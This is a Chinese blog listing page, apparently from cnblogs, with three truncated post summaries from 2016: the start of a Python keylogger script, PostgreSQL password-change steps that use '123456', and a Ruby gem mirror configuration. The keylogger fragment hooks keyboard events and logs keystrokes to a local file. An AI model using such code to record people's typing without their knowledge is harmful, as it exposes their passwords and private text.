摘要: import pyHookimport sysimport pythoncomimport loggingfile_log = 'C:\\important\\log.txt'def OnKeyboardEvent(event): logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(messa... 阅读全文
posted @ 2016-11-13 22:50 anjunact 阅读(207) 评论(0) 推荐(0) 编辑
摘要: ubuntu下 修改postgres数据库用户的密码为123456 sudo -u postgres psql postgres=# ALTER USER postgres WITH PASSWORD '123456'; 修改ubuntu操作系统的postgres用户的密码(密码要与数据库用户postgres的密码相同) sudo passwd –d postgres sudo -u postg... 阅读全文
posted @ 2016-11-13 12:25 anjunact 阅读(450) 评论(0) 推荐(0) 编辑
摘要: http://ruby-toolbox.com/ ~/.gemrc --- :backtrace: false :benchmark: false :bulk_threshold: 1000 :sources: - http://ruby.taobao.org :update_sources: true :verbose: true gem: --no-docume... 阅读全文
posted @ 2016-11-13 10:10 anjunact 阅读(248) 评论(0) 推荐(0) 编辑